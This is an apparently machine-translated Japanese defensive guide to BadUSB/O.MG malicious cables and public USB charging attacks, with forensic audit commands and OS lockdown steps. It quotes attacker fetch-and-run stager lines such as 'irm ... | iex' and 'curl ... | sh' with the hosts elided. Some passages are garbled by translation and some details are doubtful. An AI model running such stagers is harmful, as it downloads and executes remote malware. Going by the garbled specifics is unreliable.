悪意のある USB ケーブル (HID インジェクション / BadUSB) と公共キオスク防御¶
緊急電話番号は国によって異なります. このページでは、米国とカナダの番号 911 を使用しています。他の多くの国では、112、999、または別の番号が使用されています。 あなたの国の番号を見つけてください.
ホテルのデスク、空港のゲート、ライドシェアの後部座席、会議用の記念品バッグに残された見慣れない USB-C または Lightning 充電コードにラップトップ、スマートフォン、またはタブレットを接続するか、Windows の [ファイル名を指定して実行] ダイアログが表示される (Win + R)、PowerShell ウィンドウ、または macOS ターミナルが画面上で 500 ミリ秒間点滅し、USB ケーブル、フラッシュ ドライブ、またはプレゼンテーション クリッカーを接続した直後に 1 分あたり 1,000 ワードで入力を開始する場合は、BadUSB / HID (ヒューマン インターフェイス デバイス) キーストローク インジェクション攻撃 または 公共充電キオスク悪用 (「ジュース ジャッキング」) の兆候です。ウイルス対策スキャナが開く前に検査できるサム ドライブ上のファイルとして保存されている従来のマルウェアとは異なり、O.MG ケーブル、USB ラバー ダッキー、Flipper Zero BadUSB、Bash Bunny、USBHarpoon などの兵器化されたハードウェア インプラントは、普通に見える Apple、Anker、または Samsung の充電コード (かろうじて長さ12ミリメートルまたは0.47インチ)。
コンピューターまたはロックが解除されたスマートフォンに接続されている場合、その隠れたマイクロコントローラーは、オペレーティング システムに対してストレージ ドライブまたは充電器として認識されません。代わりに、USB 経由で列挙します。 D+ そして D- データピンを標準装備 USB HID キーボード (Class 0x03) または USB イーサネット ネットワーク アダプター (RNDIS / ECM)。 Windows、macOS、Linux、iOS、Android はドライバーやウイルス対策スキャンを必要とせずに、新しく接続されたキーボードを本質的に信頼するため、ケーブルは事前にプログラムされた一連のキーストロークを即座に起動します (Win + R -> powershell -w hidden -ep bypass ... Windows の場合、または Cmd + Space -> Terminal または、90 メートル (300 フィート) 以内にいる攻撃者が携帯電話で [実行] をクリックした瞬間に、遠隔制御の Wi-Fi ペイロードをトリガーします。充電ポートに加えて、より広範なワイヤレス ホットスポットやトラベル ネットワークの脅威については、弊社の 公衆 Wi-Fi、Evil Twin、ジュース ジャッキング防御ガイド。身体的脅迫や恐喝に直面した場合は、最寄りの緊急電話番号 (911 アメリカとカナダでは、 112 欧州連合全域で、 999 英国)または当社の 緊急電話番号 ディレクトリ。以下のハードウェアの隔離とフォレンジックリカバリの即時アクションに従ってください。
今すぐこれを実行してください¶
- 疑わしい USB ケーブル、フラッシュ ドライブ、ドック、または充電コードをデバイスのポートから直ちに引き抜きます: BadUSB または O.MG ケーブルがロックされていないコンピュータまたは携帯電話に差し込まれたままになると、毎秒その内部マイクロコントローラー (またはケーブルの隠された内部 Wi-Fi ホットスポットに接続されている近くの攻撃者) がキーストロークを挿入したり、隠された USB シリアル/ネットワーク チャネル経由でデータを窃取したり、入力したすべてのパスワードを記録するハードウェア キーロガーを実行したりすることができます。外付けキーボード。
- 影響を受けるラップトップまたは携帯電話を今すぐ Wi-Fi、イーサネット、および Bluetooth から切断し、そのマシンにパスワードを入力しないでください: 標準の 2 秒間の BadUSB/Rubber Ducky ペイロードは、遅いキーボード インターフェイスを介して巨大なプログラムを書き込むことはありません。代わりに、PowerShell に 1 行の「stager」コマンドを入力します (
iex (irm http://...)) または macOS ターミナル (curl -s http://... | sh) 完全なインフォスティーラーまたはリモート アクセス トロイの木馬を Wi-Fi 接続経由でダウンロードします。 Wi-Fi とイーサネットを切断すると、ダウンロードが即座に停止されるか、データの流出が停止されます。 - iPhone/iPad で [このコンピュータを信頼する] をタップした場合、または公共の充電キオスクで Android スマートフォンで [ファイル転送 (MTP) / USB デバッグを許可 (ADB)] を選択した場合は、すぐに信頼を取り消してください:
- iPhone / iPad の場合: コードを抜き、[設定] > [開発者] ([設定] の下部に表示されている場合) -> [信頼されたコンピュータのクリア] をタップします。開発者が表示されない場合は、[設定] > [一般] > [iPhone の転送またはリセット] > [リセット] > [位置情報とプライバシーのリセット] に移動して、ペアリングされているすべてのデータを暗号化して消去します。
lockdowndホストのペアリングが記録されるため、パスコードなしではコンピュータやキオスクが iPhone のバックアップに再びアクセスすることはできません。 - Android の場合: コードを抜き、設定 > システム > 開発者向けオプション (有効な場合) に移動し、USB デバッグ認証の取り消し をタップし、開発者向けオプション を完全に オフ にします。
- 実行ボックス (
RunMRU)、PowerShell コマンド ログ (PSReadLine)、および macOS ターミナル履歴: 再起動する前に、オフライン コンピュータでクリーンなターミナル ウィンドウを開き、偽の USB キーボードがシステムに挿入した正確なコマンドを読み取ります。 フェーズ 2 のフォレンジック監査コマンド。 - 疑わしい USB ケーブルまたはサム ドライブは、金属製の容器またはファラデー バッグに保管してください (「何が入っているか確認する」ためにコンピュータに再度差し込まないでください): O.MG ケーブルには、5 ボルトを受け取るたびに電源がオンになるアクティブな ESP8266/ESP32 Wi-Fi トランシーバーが含まれているため (ダム USB 壁またはバッテリー バンクに差し込まれている場合でも)、壁の充電器に差し込むと、隠れた Wi-Fi アクセス ポイントがオンになり、攻撃者がホテルの部屋やオフィスの外で接続したり、自爆を引き起こしたりする (
Self-Destruct / Wipe)機能。完全にコンセントを抜いたままにしておきます。 - ログイン中に BadUSB ペイロードがコンピュータ上でスクリプトを実行した場合は、すべての資格情報をローテーションし、別のクリーンなデバイスからアクティブなセッションを取り消します: 最新の BadUSB ペイロードの 90% は、ブラウザの Cookie と保存されたパスワードを 3 秒以内に取得するインフォスティーラーを起動するため、 セッション Cookie ハイジャックとインフォスティーラー トークン失効ガイド きれいなスマートフォンから。
Danger
未知の充電ポートを使用する場合、「USB コンドーム」 (物理データ ブロッカー) が唯一保証されているハードウェア バリアである理由、およびデバイス側に差し込まれた悪意のあるケーブルからユーザーを保護できない理由: 物理 USB データ ブロッカー (「USB コンドーム」) は、中央のデータ ピン (D+ そして D- USB-A、または D+/D- そして TX/RX USB-C の高速レーン)が物理的に欠落しており、残っているのは VBUS (+5V ~ +20V 電源) および GND (アース)線が接続されていること。ただし、データ ブロッカーをどこに配置するかが重要です。きれいなケーブルをデータ ブロッカーに接続し、データ ブロッカーを空港の壁のポートに接続すれば、100% 安全です。 しかし、悪意のある O.MG ケーブルをラップトップまたは携帯電話に直接接続し、壁の充電器の端にデータ ブロッカーを配置した場合、マイクロコントローラーはデバイスに差し込まれたコネクタ チップの内側に隠されているため、壁から直接データ ブロッカーを介して 5 V の電力が供給され、悪意のあるチップが引き続きデバイスをハッキングします。データ ブロッカーは常に 電話またはラップトップのポートに直接接続するか、検証済みの独自のケーブルと AC ウォール ブリックを持ち運んでください。
デシジョン ツリー: 悪意のある USB ケーブルまたは公共キオスクの露出の疑いへの対応¶
この戦術フローチャートを使用して、信頼できない USB ケーブル、ドック、サム ドライブ、または公共の充電ステーションに接続した後にデバイスが侵害されたかどうかを判断します。
flowchart TD
Event["不明な USB ケーブルに接続されている、フラッシュ ドライブが見つかった、ホテル/空港のキオスク、または Saw ターミナル/画面上のウィンドウ フラッシュを実行"] --> Unplug["ステップ 1: USB ケーブル/デバイスをすぐに抜き、Wi-Fi/イーサネットを切断します。"]
Unplug --> WhatDevice{"どのデバイスが不明な USB コードまたはポートに接続されましたか?"}
WhatDevice -->|"Windows、macOS、または Linux ラップトップ/デスクトップ"| ScreenLocked{"接続時にコンピュータ画面はロックされましたか?またはロック解除されましたか?"}
WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"iPhone のロックは解除されましたか?「信頼」をタップしたり、入力したりしましたか?"}
WhatDevice -->|"Androidスマートフォン・タブレット"| AndroidState{"電話機のロックは解除されましたか、または「USB デバッグ (ADB)」が有効でしたか?"}
ScreenLocked -->|"ロック解除済み (デスクトップにログイン)"| AssumeHID["高リスク: BadUSB / O.MG ケーブルはプロンプトなしで 1.5 秒以内にキーストローク (Win+R / Cmd+Space) を実行できます -> フェーズ 2 フォレンジック監査に進みます"]
ScreenLocked -->|"ロック中(パスワード画面)"| NetworkDMA["Thunderbolt/PCIe DMA または USB Ethernet (RNDIS/DHCP ポイズニング) が発生したかどうかを確認します。パスワードがなければキーストロークでロック画面をバイパスできない"]
iOSState -->|"ずっとロックされている (iOS 15 以降 / USB 制限モード)"| iOSSafe["安全:Appleの「USB制限モード」はロックされたiPhoneのデータピンを物理的に無効にする -> 電力のみが通過"]
iOSState -->|"ロックを解除して「信頼」をタップ (または Safari/ショートカットを開いた)"| iOSRevoke["すぐに実行: (設定) > (一般) > (iPhone の転送またはリセット) > (リセット) > (位置情報とプライバシーのリセット + ショートカット アプリの監査)"]
AndroidState -->|"ずっとロック(充電専用モード)"| AndroidSafe["安全: 最新の Android のデフォルトは「データ転送なし (充電のみ)」 -> データは渡されません"]
AndroidState -->|"ロック解除および画面入力または承認された ADB/MTP"| AndroidRevoke["開発者向けオプションを無効にする -> USB デバッグを取り消す -> インストールされているアプリと Chrome のダウンロードを確認する"]
BadUSB、O.MG ケーブル、公共充電攻撃が実際にどのように機能するかを理解する¶
自分自身を効果的に防御し、実際のハードウェアの埋め込みに対する過小反応や無害な充電ポートに対するパニックの両方を回避するには、攻撃者が USB 経由で使用する 3 つの異なる技術メカニズムを理解する必要があります。
1. BadUSB / HID キーストローク インジェクション (O.MG Cable、 Rubber Ducky、 Flipper Zero)¶
- USB の基本的な設計上の欠陥: ユニバーサル シリアル バス (
USB) 仕様により、単一の物理コネクタが列挙中にそれ自体を任意のデバイス クラスとして宣言できます (bInterfaceClass)、または 複合デバイス (同時に USB フラッシュ ドライブ * および* USB キーボードとして宣言) としても機能します。 - O.MG ケーブルまたは悪意のある充電器の内部: O.MG ケーブルは、見た目には、純正の編組または白色の Apple USB-C-to-USB-C、USB-C-to-Lightning、または USB-A ケーブルと 100% 区別できません。携帯電話を充電し、データを正常に転送します。ただし、アクティブ コネクタ チップの内部には、802.11 Wi-Fi とフラッシュ ストレージを備えた極小のデュアルコア マイクロコントローラーが隠されています。
- アクティブ キーストローク インジェクション: ロックが解除された Windows PC、Mac、またはスマートフォンにケーブルを接続すると、ケーブルは汎用 HID キーボードとして列挙され、1 秒あたり最大 850 文字を入力します (
DuckyScript)。 1.5秒以内に押すWin + R(Windows) またはCmd + Space(Mac)、非表示のバックグラウンド シェルを起動し、ペイロードをダウンロードして、ウィンドウを閉じます。 - インライン ハードウェア キーロガー (外付け USB キーボード用): 攻撃者が外付けメカニカル キーボードをデスクトップ PC に接続している USB ケーブルを O.MG ケーブルに交換すると、インプラントはワイヤーの真ん中に静かに置かれ、** 最大 650,000 件のキーストローク** (Bitwarden/1Password マスター パスワード、Windows ログイン PIN、BIOS パスワードを含む) を内部フラッシュ メモリに記録し、攻撃者はそこからワイヤレスでダウンロードします。 Wi-Fi経由で建物の外から。
- ジオフェンスと時間遅延ペイロード: 接続した瞬間にペイロードを入力する単純な 50 ドルの USB ラバーダッキーとは異なり、O.MG ケーブルは、企業 Wi-Fi ネットワークを検出するまで ** 数日または数週間**、通常の充電コードとして完全に休止状態を保つことができます (
BSSIDジオフェンシング)、または攻撃者が組み込みの Web UI を介してリモートでトリガーするまで。
2. USB ネットワーク アダプターのハイジャック (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶
- ラップトップの画面が ロックされている場合でも (
Win + LまたはCtrl + Cmd + Q) そのため、偽の USB キーボードはターミナル ウィンドウを開けることができず、悪意のある USB デバイスをロックされていない USB データ ポートに接続すると、デバイスが 高優先度ギガビット USB イーサネット アダプタ (USB RNDISまたはCDC-ECM)。 - Windows と macOS は、新しく接続された有線イーサネット インターフェイスを Wi-Fi より自動的に優先するため、USB デバイスは DHCP 経由でラップトップのデフォルト ゲートウェイになります (
0.0.0.0/1)、暗号化されていないローカル ネットワーク トラフィックを傍受し、応答します。WPAD/LLMNR/mDNSクエリ、または HttpOnly 以外のバックグラウンド ブラウザの Cookie を吸い上げます。
3. 公共キオスク「ジュースジャッキング」(MTP / PTP / iOS lockdownd / Android ADB)¶
- 通常のデータ対応ケーブルを使用してスマートフォンを公共の USB ポート (空港、鉄道駅、ホテルのヘッドボード、またはレンタカーのインフォテインメント ユニット) に接続する場合:
- 自動的にブロックされるもの: iOS 11.4.1 / iOS 15以降 (
USB Restricted Mode) および Android 9 以降 (Charge-Only Default)、携帯電話を USB データ ポートに接続しても、写真やファイルが自動的に公開されるわけではありません**。携帯電話のロックを解除し、明示的に 「このコンピュータを信頼する」(さらに iPhone のパスコードを入力) をタップするか、Android の USB 通知を データ転送なし から ファイル転送 (MTP) または USB デバッグを許可 に手動で切り替えるまで、データ転送はブロックされます。 - 公共キオスクの本当の危険はどこにある:
- ロック解除された携帯電話へのチョイスジャッキングと HID インジェクション: グラーツ工科大学のセキュリティ研究者によって実証されました (
ChoiceJacking)、携帯電話を悪意のあるパブリック USB ポートに接続しているときに 手の中でロックが解除されている場合、キオスクは最初に USB キーボードとして列挙できます (HID) を 200 ミリ秒間送信し、正確なメッセージを送信しますTab/Enterまたは、ホスト データ転送モードに切り替える前に、画面上で [許可/ファイル転送] プロンプトをクリックするための支援キーストロークが必要です。 - 汚れた電源/過電圧によるハードウェアの損傷 (
USB Killer): 公共 USB ポートが破壊されると、コンデンサ バンクから 200V DC が携帯電話の USB-C コントローラ チップに直接ダンプされ、ロジック ボードが永久に故障する可能性があります。
- ロック解除された携帯電話へのチョイスジャッキングと HID インジェクション: グラーツ工科大学のセキュリティ研究者によって実証されました (
比較マトリックス: USB 防御ハードウェアと OS 保護¶
| シナリオ / 脅威ベクトル | 物理的な USB データ ブロッカー (「USB コンドーム」) はそれを阻止しますか? | OSの「USB制限モード(ロック画面)」で停止するのでしょうか? | 100% 安全な最良の代替品 |
|---|---|---|---|
| 1.空港 / ホテル / 飛行機 / レンタカー 内蔵 USB ポート (独自の信頼できるケーブルを使用) | はい (100%): 物理的に切断します。 D+/D- そして TX/RX データ ラインなので、ChoiceJacking、BadUSB、データ同期のいずれもアダプターを越えることはできません。 |
はい (携帯電話がロックされたままの場合、または macOS/Windows USB-C アクセサリの承認が 毎回確認する に設定されている場合)。 | 独自の AC/DC ウォール アダプタ ブリックを標準の 110V/230V AC コンセントに差し込むか、独自の パーソナル パワー バンクから充電します。 |
| 2.不明 / 借用 / 「見つかった」USB-C または Lightning ケーブル (O.MG ケーブルのリスク) | **データ ブロッカーが ケーブルの先端と電話/ノートパソコンのポートの間に直接配置されている場合にのみ (壁の充電器の端ではなく)。 | ケーブルが接続されており、OS アクセサリの承認が有効になっていないときにラップトップ/携帯電話のロックを解除した場合は、いいえ。 | 見つけた、贈られた、または借りたケーブルは絶対に使用しないでください。 マークの付いた独自のケーブルを持ち運ぶか、充電専用ケーブル (内部ワイヤが 2 本のみで作られている) を使用してください。 |
| 3.悪意のある USB フラッシュ ドライブ、プレゼンテーション クリッカー、またはマウス | 該当なし (データ ブロッカーにより、フラッシュ ドライブまたはマウスがまったく機能しなくなります)。 | いいえ コンピューターのロックを解除し、USB アクセサリの接続を許可したら。 | USB HID を使用して、分離されたサンドボックス/VM 内の信頼できない USB ドライブを検査します (Class 0x03) グループ ポリシーによってブロックされているか、 udev ルール。 |
4.容量性高電圧サージ (USB Killer) 破壊された港 |
いいえ (標準の 7 ドルのパッシブ データ ブロッカーは引き続き合格します VBUS そして GND 直接; TVS ダイオード/ヒューズを備えたアクティブな絶縁型サージ保護ブロッカーのみが 200V サージを停止します)。 |
いいえ (これはマザーボードに対する電気的ハードウェア攻撃です)。 | 決して、不完全なパブリック USB スロットに直接接続しないでください。独自の AC 充電器またはバッテリー パックを使用してください。 |
フェーズ 1: 悪意のある USB ケーブルを視覚的および電気的に検出する方法 (O.MG ケーブル監査)¶
オフィスで、デスクトップ PC のキーボードの背面に接続されている、または旅行かばんの中に疑わしい USB ケーブルを見つけた場合は、次の 4 つの手順に従って、それがハードウェア インプラントであるかどうかを判断します。
- テスト #1: 導通を測定するか、ハードウェア ケーブル テスターを使用します (
O.MG Malicious Cable Detector/Bleeping / Hak5 Tester): - 標準のパッシブ USB-A-to-USB-C、USB-A-to-Lightning、または E マークのない USB-C 充電ケーブルには、一方の端のみが電源に接続されている場合、アクティブなマイクロプロセッサが電流を引き込みません。
- O.MG Malicious Cable Detector (またはインライン USB 電流/プロトコル アナライザー
Power-Z KM003C) 電源とケーブルの間にあり、ケーブルの遠端には何も接続されていません:- もう一方の端に何も接続されていないときにケーブルに 5V で 30 ~ 120 ミリアンペア (mA) の電流が流れる場合、または USB をネゴシエートしようとした場合
D+/D-単独で列挙すると、ケーブル ヘッドの内側にアクティブなコンピュータ/Wi-Fi 無線が隠されています。
- もう一方の端に何も接続されていないときにケーブルに 5V で 30 ~ 120 ミリアンペア (mA) の電流が流れる場合、または USB をネゴシエートしようとした場合
- テスト #2: 隠された Wi-Fi アクセス ポイントを確認する (
O.MGデフォルトの SSID または ESP32 MAC プレフィックス): - O.MG ケーブルとワイヤレス BadUSB インプラントは Espressif (
ESP8266/ESP32-S2/ESP32-C3) コネクタ シェル内の Wi-Fi チップ。 - ファラデー/隔離されたエリア内で隔離された USB バッテリー バンクを使用し (決してコンピュータでは使用しないでください)、未設定またはデフォルトの O.MG ケーブルに電力を供給すると、多くの場合、2.4 GHz Wi-Fi ネットワーク (デフォルトの SSID) がブロードキャストされます。
O.MGで192.168.4.1、または Espressif Inc. に属する **MAC アドレス / BSSID OUI を持つ隠し SSID。24:0A:C4、30:AE:A4、84:CC:A8、A0:20:A6、DC:4F:22、なりすましでない限り)。 - テスト #3: コネクタのオーバーモールドの長さと発熱を検査します:
- 疑わしいケーブルのプラスチック製ストレイン リリーフ シェルと既知の純正 Apple ケーブルまたは Anker ケーブルを並べて比較します。
- 最近の O.MG ケーブルの世代は Apple の正確なシェル寸法と一致していますが、5V の電力を受け取って 3 分後、アクティブな Wi-Fi マイクロコントローラーを含むコネクタ ヘッドは 著しく暖かく感じられます (
35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) 相手側で電話が充電されていない場合でも、指先の間で押します。 (遠端に何も接続されていない通常のパッシブ ケーブルは、室温では完全に冷たいままです。)
- 最近の O.MG ケーブルの世代は Apple の正確なシェル寸法と一致していますが、5V の電力を受け取って 3 分後、アクティブな Wi-Fi マイクロコントローラーを含むコネクタ ヘッドは 著しく暖かく感じられます (
フェーズ 2: BadUSB または O.MG ケーブルがコンピュータに接続された場合のフォレンジック トリアージ¶
USB ケーブル、サム ドライブ、または周辺機器を Windows PC、Mac、または Linux ラップトップに接続し、[スタート] メニューの [ファイル名を指定して実行] ダイアログ (Win + R)、スポットライト (Cmd + Space)、または黒/青のターミナル ウィンドウが点滅して開閉します。まだ再起動しないでください。これらの正確なオフライン コマンドを実行して、偽の USB キーボードが入力した内容と USB ベンダー/製品 ID (VID:PID) ポートに接続されています:
1. Windows 10 および Windows 11 フォレンジック監査 (オフライン PowerShell で実行)¶
オフライン Windows PC で PowerShell (管理者) を開き、次の 4 つのフォレンジック コマンドを実行します。
# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50
# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
$prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
if ($prop) {
[PSCustomObject]@{
FriendlyName = $_.FriendlyName
Status = $_.Status
InstanceId = $_.InstanceId
FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
LastArrival = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
}
}
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize
# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message | Format-List
- 解釈方法
Get-ItemProperty ... RunMRU: - ほぼすべての Windows BadUSB/Rubber Ducky スクリプトは ** を押すと開始されます。
Win + R** (GUI rDuckyScript で)、次のようなコマンドを入力します。powershell -w h -NoP -NonI -Ep Bypass irm https://... | iexまたはcmd /c curl ...。 - スクリプトが削除しようとしても
RunMRU最後に、実行中にケーブルを引き抜いた場合 (またはスクリプトがレジストリをクリアしなかった場合)、悪意のある URL とコマンドそのものが内部に存在します。RunMRU(a、b、c値)または内部ConsoleHost_history.txt。
2. Apple macOS フォレンジック監査 (オフライン ターミナルで実行)¶
macOS では、BadUSB ペイロードは通常 ** を押しますCmd + Space** (GUI SPACE)、 タイプ Terminal、 プレス Enterを実行して、 curl または osascript ワンライナー:
# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null
# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"
# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30
3. Linux フォレンジック監査 (dmesg & journalctl)¶
# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null
上記のログのいずれかに次のようなことが示されている場合、 powershell、 cmd、 mshta、 curl、 wget、または osascript インターネットに接続中にコマンドが実行された場合、インフォスティーラーまたは永続的なバックドアが実行されたと想定します。 セッション Cookie ハイジャックとインフォスティーラー ガイド そして、次の手順に従ってクリーンな OS の再インストールを実行します。 マルウェア、ランサムウェア、スパイウェア感染ガイド。
フェーズ 3: BadUSB ケーブルが自動的に実行されないようにデバイスをロックダウンする¶
最新のオペレーティング システムには、BadUSB、O.MG ケーブル、およびラバー ダッキーが 1 文字を入力する前に完全に無力化する強力なハードウェア ポート ロックが組み込まれています。ただし、これらの設定をオンにしている場合:
1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBook): 「新しいアクセサリを要求する」を有効にします。¶
macOS Ventura、Sonoma、または Sequoia を実行している Apple Silicon Mac では、Apple は、「許可」 を明示的にクリックするまで、新しい USB ケーブルまたはデバイスがキーボードとして列挙されることをブロックするハードウェア レベルの USB-C/Thunderbolt ポート認証を導入しました。
1. アップルメニューを開く() > システム設定 > プライバシーとセキュリティ。
2. セキュリティ セクションまで下にスクロールし、「アクセサリの接続を許可する」 を見つけます。
3. ロック解除時に自動的に から 「新しいアクセサリを尋ねる」 (または最大限の安全性の高い旅行保護を得るには 「毎回尋ねる」) に変更します。
4. Mac 上で O.MG ケーブルがコールド状態になる理由: 「毎回確認する」 または 「新しいアクセサリを確認する」 が有効になっている不正な O.MG 充電ケーブルを接続すると、すぐに電力が流れて MacBook のバッテリーを充電しますが、しかし macOS は次のような警告ダイアログを表示します。 "Allow accessory '[Device Name]' to connect to this Mac?" 通常のパッシブ充電ケーブルはデータ アクセサリとしての接続を要求することはないため、単純な充電コードを差し込むときにこのポップアップが表示されると、即座にケーブルがハードウェア インプラントとして露出され、プラグを抜くまでキーストロークが 100% ブロックされます。
2. Apple iPhone および iPad: 「USB 制限モード」が有効になっていることを確認します。¶
- [設定] > [Face ID とパスコード] (または Touch ID とパスコード) を開き、パスコードを入力します。
- 「ロック時にアクセスを許可する」 セクションまで下にスクロールします。
- アクセサリ (または USB アクセサリ) の横にあるトグルが オフ (灰色) になっていることを確認します。
- アクセサリをオフにすると、iPhoneがロックされるたびに、iOSはUSBデータピンを物理的に無効にし、充電電力のみが通過できるようにします。 慣れない充電器やレンタカーに iPhone を接続する前に、必ずサイドボタンを押して iPhone 画面をロックしてください。
3. Android 15 / 16 & GrapheneOS: 「高度な保護」/USB ポート ロックを有効にする¶
- 標準の Android (Pixel、Samsung Galaxy) の場合:
- [開発者向けオプション] > [USB デバッグ] (
ADB) 旅行中に有効になります。 - [設定] > [セキュリティとプライバシー] > [その他のセキュリティ設定] (Android 15/16 以降では [高度な保護]) で、USB 保護 / ロック中に新しい USB デバイスをブロック を有効にします。
- ChoiceJacking HID 攻撃がロック解除された画面と相互作用できないように、公共の充電ポートに接続する前に必ず画面をロックしてください。
4. Linux および Windows エンタープライズ: USBGuard およびデバイスのインストール制限¶
- Linux の場合 (
USBGuard): をインストールします。usbguardデーモン (sudo apt install usbguard)、新しく接続された USB デバイスのアサートをブロックします。bInterfaceClass 03(HID キーボード) プライマリ キーボードがすでに接続されている場合、または明示的に認証されるまでusbguard allow-device。 - Windows 11 Pro / Enterprise: カーネル DMA 保護を有効にします (
BitLocker+VBS) [Windows セキュリティ] > [デバイス セキュリティ] > [コア分離] で、Thunderbolt/PCIe DMA 攻撃を阻止し、ワークステーションを常にロックします (Win + L) 不慣れな USB ケーブルを接続する前に、キーストローク インジェクターがログインしているデスクトップ シェルにアクセスできないようにします。
よくある質問¶
電話画面がロックされているときに接続しただけで、悪意のある O.MG ケーブルまたは BadUSB コードが iPhone または Android 携帯電話をハッキングする可能性がありますか?¶
iPhone に [設定] > [Face ID とパスコード] > [ロック時にアクセスを許可] > [アクセサリ] 回った オフ (iOS 15 ~ iOS 18 のデフォルト)、ケーブルを接続すると画面がロックされます。 データやキーストロークが iPhone に到達することはありません iOS は、Face ID またはパスコードで電話のロックを解除するまで、ハードウェア コントローラー レベルで USB データ ラインを無効にするためです。ただし、O.MG ケーブルが接続されたまま iPhone のロックを解除すると、ケーブルは外部 USB キーボードとして列挙され、iOS キーボード ショートカット (たとえば、 Cmd + スペース Spotlight を開く、Safari を開いてフィッシング/構成プロファイル URL を開く、または Apple ショートカットをトリガーする)。携帯電話のロックを解除する間、見つかったUSBケーブルや信頼できないUSBケーブルを接続したままにしないでください。
本物の「充電専用」USB ケーブルと通常の USB データ ケーブルの違いはどうすればわかりますか?¶
メーカーが充電専用コードとデータ コードを区別する記号をケーブルに印刷することはほとんどないため、最も簡単な安全テストは、コンピュータと古い重要でないデバイスの間にケーブルを接続することです (または、次のような 10 ドルのインライン USB ケーブル ピン配置導通テスター ボードを使用します) Treedix USB ケーブル テスター、マイクロコントローラーを起動せずに、すべての内部ワイヤーの個別の LED を点灯します)。導通テスターボードでは、真の 充電専用ケーブル 点灯します だけ Vバス そして GND (LED 2 個)、データ対応ケーブルも点灯します。 D+ そして D- (そして CC1/送信/受信 USB-C の場合)。あるいは、専用の 物理USBデータブロッカーアダプター 旅行用充電コードの先端に恒久的に取り付けられており、メス ポートの内部を物理的に見て、中央のデータ ピンが欠落していることを自分の目で確認できます。
内蔵の USB ポートではなく、空港やホテルの AC 電源コンセント (2 極 / 3 極の壁コンセント) に自分の充電ケーブルを差し込んでも安全ですか?¶
はい、100パーセント安全です。 標準の 110V / 230V AC コンセント (Apple、Samsung、または Anker の電源ブリックを接続する場所) には交流電力のみが供給され、携帯電話の USB コントローラーと通信できるデータ接続はありません。使用する限り 独自の信頼できる AC アダプタ ブリックと独自の信頼できる USB ケーブル、空港やホテルの AC コンセントでは、ジュース ジャッキングや BadUSB 攻撃を実行できません。
USB フラッシュ ドライブまたは VAPE/電子タバコ充電器を接続すると、Windows で「デバイスのセットアップ: HID キーボード デバイス」がポップアップ表示されるのはなぜですか?¶
Windows にトースト通知の内容が表示されるのを確認する 「デバイスのセットアップ: HID キーボードデバイス」 何かを接続したとき ない キーボード (USB フラッシュ ドライブ、充電ケーブル、安価な卓上扇風機、デジタル フォト フレーム、または電子タバコの充電器など) は、紛れもなく最も重要な証拠です。 BadUSB / HID キーストローク インジェクション攻撃。正規のフラッシュ ドライブや充電ケーブルを Windows にキーボードとして登録する必要はありません。すぐにデバイスを取り外し、Wi-Fi から切断し、PowerShell を実行します。 ランMRU そして PSReadLine フェーズ 2 でコマンドを監査して、偽のキーボードが入力したコマンドを確認します。
ソースを確認しました¶
- 連邦捜査局 (
FBI) & 連邦通信委員会 (FCC) (米国): 公共 USB 充電ステーションのリスク (「ジュース ジャッキング」) および悪意のあるハードウェアのインプラントに関する公共サービスの発表。 - 国家安全保障局 (
NSA) & サイバーセキュリティ・インフラストラクチャセキュリティ庁 (CISA) (米国): モバイル デバイスのベスト プラクティス: 携帯電話、ラップトップ、USB 周辺機器を安全に持ち運ぶ。 - グラーツ工科大学 (
TU GrazInfoSec Research Group): ChoiceJacking: USB HID インジェクションを介した悪意のある充電器によるモバイル デバイスの侵害 (USENIX セキュリティ シンポジウム)。 - Apple プラットフォーム セキュリティ ガイド: USB 制限モード、ロック時のアクセサリ アクセス、および macOS Apple Silicon USB/Thunderbolt アクセサリ認証アーキテクチャ。
- USB インプリメンター フォーラム (
USB-IF): USB Type-C認証、Power Delivery(USB PD)、およびヒューマン インターフェイス デバイス (HIDクラス 0x03) 仕様。